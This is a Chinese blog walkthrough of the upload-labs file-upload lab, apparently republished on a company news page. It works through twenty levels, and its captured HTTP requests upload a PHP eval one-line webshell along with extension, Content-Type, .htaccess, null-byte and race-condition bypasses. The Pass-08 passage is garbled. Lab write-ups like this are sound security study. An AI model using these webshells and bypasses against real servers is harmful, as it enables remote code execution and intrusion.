ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

【基础】文件上传 upload-labs 靶场速通

【基础】文件上传 upload-labs 靶场速通 一、安装并运行https://github.com/c0ny1/upload-labs注下面是 linux 环境的运行代码upload-labs 靶场只允许 linux 或者 windows 运行还好我还有一个服务器 …dockerpull c0ny1/upload-labsdockerrun-d-p80:80--nameupload-labs c0ny1/upload-labs:latest运行后可通过如下命令查看靶场运行情况rootiZm5e6knj5h0f3rmg5lqyiZ:~# lsof -i :80COMMAND PIDUSERFD TYPE DEVICE SIZE/OFF NODE NAME docker-pr252031root 8u IPv415039250t0 TCP *:http(LISTEN)docker-pr252043root 8u IPv615039260t0 TCP *:http(LISTEN)在现代 Linux 系统中当 Docker 代理进程尝试绑定 80 端口时系统默认会同时创建 IPv4 和 IPv6 两个套接字Socket来进行监听。IPv4 进程专门负责处理传统的 IPv4 网络请求如 192.168.1.10:80。IPv6 进程负责处理 IPv6 网络请求。得益于 Linux 的双栈特性这个 IPv6 套接字不仅能处理纯 IPv6 流量还能通过“IPv4 映射”机制兼容 IPv4 流量。创建 upload 文件夹并赋予读写执行权限。rootiZm5e6knj5h0f3rmg5lqyiZ:~# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 6547d2b72b84 c0ny1/upload-labs:latestapache2-foreground3hours ago Up3hours0.0.0.0:80-80/tcp,[::]:80-80/tcp upload-labs rootiZm5e6knj5h0f3rmg5lqyiZ:~# docker exec -it 6547d2b72b84 /bin/bashroot6547d2b72b84:/var/www/html# mkdir uploadroot6547d2b72b84:/var/www/html# chmod -R 777 upload二、解题Pass-01查看页面源代码后发现上传函数逻辑如下script typetext/javascriptfunctioncheckFile(){varfiledocument.getElementsByName(upload_file)[0].value;if(filenull||file){alert(请选择要上传的文件!);returnfalse;}//定义允许上传的文件类型varallow_ext.jpg|.png|.gif;//提取上传文件的类型varext_namefile.substring(file.lastIndexOf(.));//判断上传文件类型是否允许上传if(allow_ext.indexOf(ext_name)-1){varerrMsg该文件不允许上传请上传allow_ext类型的文件,当前文件类型为ext_name;alert(errMsg);returnfalse;}}/script可以很明显的看出文件类型判断逻辑在前端中那么我们就可以在前端绕过。步骤如下选择好要上传的 .php 一句话木马在浏览器开发者工具中关键判断文件类型函数处打好断点点击上传按钮执行上传js代码执行校验操作前修改关键参数值继续执行程序看到成功绕过校验Pass-02这个在前端中没看到校验代码说明是发送请求给后端处理。抓取上传一句话木马的包如下POST /Pass-02/index.php HTTP/1.1 Host:47.104.184.55 Cache-Control: max-age0Content-Type: multipart/form-data;boundary----WebKitFormBoundarydMfCPlL7TeMcTazP Origin: http://47.104.184.55 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9User-Agent: Mozilla/5.0(Macintosh;Intel Mac OS X 10_15_7)AppleWebKit/537.36(KHTML, like Gecko)Chrome/151.0.0.0 Safari/537.36 Upgrade-Insecure-Requests:1Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7Referer: http://47.104.184.55/Pass-02/index.php Content-Length:321------WebKitFormBoundarydMfCPlL7TeMcTazP Content-Disposition: form-data;nameupload_file;filenamegetshell.phpContent-Type: text/php?php eval($_POST[shell]);?------WebKitFormBoundarydMfCPlL7TeMcTazP Content-Disposition: form-data;namesubmit上传 ------WebKitFormBoundarydMfCPlL7TeMcTazP--抓取一个正常上传图片的包如下POST /Pass-02/index.php HTTP/1.1 Host:47.104.184.55 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7Accept-Language: zh-CN,zh;q0.9Cache-Control: max-age0User-Agent: Mozilla/5.0(Macintosh;Intel Mac OS X 10_15_7)AppleWebKit/537.36(KHTML, like Gecko)Chrome/151.0.0.0 Safari/537.36 Origin: http://47.104.184.55 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests:1Content-Type: multipart/form-data;boundary----WebKitFormBoundarydAQ3O4OAT9XSLhJa Referer: http://47.104.184.55/Pass-02/index.php Content-Length:424------WebKitFormBoundarydAQ3O4OAT9XSLhJa Content-Disposition: form-data;nameupload_file;filename【哲风壁纸】初音-初音未来.pngContent-Type: image/png[[yakit: multipartfilespilled,part0,file【哲风壁纸】初音-初音未来.png,size11447640]]------WebKitFormBoundarydAQ3O4OAT9XSLhJa Content-Disposition: form-data;namesubmit上传 ------WebKitFormBoundarydAQ3O4OAT9XSLhJa--修改文件类型POST /Pass-02/index.php HTTP/1.1 Host:47.104.184.55 Cache-Control: max-age0Content-Type: multipart/form-data;boundary----WebKitFormBoundarydMfCPlL7TeMcTazP Origin: http://47.104.184.55 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9User-Agent: Mozilla/5.0(Macintosh;Intel Mac OS X 10_15_7)AppleWebKit/537.36(KHTML, like Gecko)Chrome/151.0.0.0 Safari/537.36 Upgrade-Insecure-Requests:1Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7Referer: http://47.104.184.55/Pass-02/index.php Content-Length:321------WebKitFormBoundarydMfCPlL7TeMcTazP Content-Disposition: form-data;nameupload_file;filenamegetshell.phpContent-Type: image/png?php eval($_POST[shell]);?------WebKitFormBoundarydMfCPlL7TeMcTazP Content-Disposition: form-data;namesubmit上传 ------WebKitFormBoundarydMfCPlL7TeMcTazP--观察到上传成功Pass-03查看提示发现是黑名单校验不允许上传如下类型的文件可以选择使用 .phtml .phps .php5 .pht 等类型进行绕过问题变为黑名单不全面问题。Pass-04上传一个.htaccess 配置文件配置将 getshell.png 当作 php 代码解析。FilesMatchgetshell.pngSetHandler application/x-httpd-php.htaccess 是 Apache 服务器的分布式配置文件它可以对当前目录及其子目录的访问规则进行局部修改。这个方法在博主的服务器上没有用不知道是什么原因。Pass-05查看提示和源代码我们发现它还是通过黑名单的机制但是没有做大小写的过滤所以我们可以通过上传 .PHP 大写后缀的 webshell来实现绕过上传限制。原理如下通过 Wappalyzer 发现网站 web 服务器为 Apache 服务器。在 Linux/Unix 系统上表现为大小写敏感在 Windows 系统上表现为大小写不敏感。所以如果对面的操作系统是 Windows上面可以实现绕过但是我的操作系统是 Debian 所以不行。Pass-06分析源代码发现没有对文件后缀做去空清洗工作所以可通过抓包加空字符绕过。使用 Yakit 劫持数据包修改 filename 参数为 filenamegetshell6.php 放行请求绕过上传成功。如果目标服务器是 Windows 系统Windows 的文件系统如 NTFS有一个特性不允许文件名或后缀名以空格结尾。当系统尝试保存 getshell6.php 时会自动忽略并去除末尾的空格最终在磁盘上生成的真实文件名为 getshell6.php。而对 Linux 服务器来说文件会完整落地所以无效。Pass-07同上修改 filename“getshell6.php.”因为代码中没有过滤末尾的. 。Pass-08修改 filenamegetshell6.php::D A T A : : DATA ::DATA::DATA 绕过与前面提到的“空格绕过”类似也是高度依赖于底层操作系统特性的一种攻击手法它仅适用于 Windows 服务器NTFS 文件系统。其核心原理在于 Windows NTFS 文件系统独有的交替数据流Alternate Data Streams, ADS特性以及服务端与操作系统在处理文件名时的逻辑差异。具体原理如下当服务端将文件写入磁盘时Windows 操作系统会接管文件名的处理。由于系统识别到了 ::D A T A 数据流标识符它会自动忽略并去除 : : DATA 数据流标识符它会自动忽略并去除 ::DATA数据流标识符它会自动忽略并去除::DATA 及其之后的内容最终在服务器上实际创建并保存的文件名为 shell.php。Pass-09利用它在清洗过滤中的代码逻辑不严谨来实现绕过。分析处理逻辑如下删除末尾点分割出文件后缀转换为小写去掉 ::$DATA首位去空那么我们构造一个 getshell.php. 还是可以绕过Pass-10str_ireplace代表“string case-insensitive replace”不区分大小写的字符串替换。那么我们知道了它的处理逻辑后就可以进行双写绕过上传 “getshell.pphphp”上传成功。Pass-11查看原代码发现这是一个白名单的检查机制但是上传路径可以控制。$img_path$_GET[save_path]./.rand(10,99).date(YmdHis)...$file_ext;那么NULL 字节截断Null Byte Truncation 攻击结合 save_path 参数来实现文件上传路径控制。00 截断Null Byte Truncation 漏洞利用了 PHP 底层 C 语言在处理字符串时遇到 \0 会截断的特性。这个漏洞在 PHP 5.3.4 及以后的版本中已经被官方修复。我一看我的 php 版本是 5.5 我就知道…原理save_path 中的 %00URL 编码的 NULL 字节 \0PHP 字符串截断在 PHP 的许多文件操作函数如 move_uploaded_file、basename底层调用的是 C 语言函数C 语言字符串以 \0 作为结束符。因此当字符串中包含 \0 时\0 之后的内容会被截断忽略。Pass-12GET 请求服务器会自动对 URL 中的 %00 进行 URL 解码将其还原为空字节\x00从而触发截断。POST 请求服务器不会自动对 POST 报文体中的 %00 进行解码。如果直接发送服务器会将其当作普通的字符串即字符 %、0、0处理无法实现截断效果。因此必须手动在 Burp Suite 中将其解码为真实的空字节\x00后再发送报文才能成功绕过白名单校验并实现文件截断保存。今天先写这么多吧明天来了再写后面的 Pass-13\14\15\16这是一个图片马的问题图片马制作教程可以看这个博主的文章https://blog.csdn.net/2301_80661529/article/details/136464023Pass-17条件竞争先上传然后再判断如果我们在上传上去的一瞬间访问这个文件那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件然后再去删除这个文件就会提示这个文件在另一程序中打开无法删除。直接将临时文件移动到目标路径并保存如果合法则重命名文件加上随机数和时间戳防重名如果后缀不合法提示错误并删除刚才已经保存的文件Pass-18“移动”和“重命名”操作之间存在时间差。制作一个图片马如 shell.jpg或者利用 Apache 解析漏洞上传一个名为 shell.php.7z 的文件.7z 在白名单中但 Apache 可能会将其解析为 PHP。使用 Burp Suite 的 Intruder 模块不断发送上传 shell.php.7z 的请求。同时使用 Python 脚本或 Burp 的另一个线程疯狂访问 http://目标IP/upload/shell.php.7z。命中窗口只要在服务器将文件保存为 shell.php.7z 但还没来得及将其重命名为时间戳文件的这几毫秒内访问请求命中了该文件Webshell 就会被执行。Pass-19PHP 的 move_uploaded_file() 函数在底层处理时会自动忽略文件名末尾的 /. 字符save_nameshell.php/.PHP 的 move_uploaded_file() 函数在底层处理时会自动忽略文件名末尾的点号.。Pass-20通过抓包将 save_name 修改为数组形式save_name[0]shell.phpsave_name[2]jpg
返回列表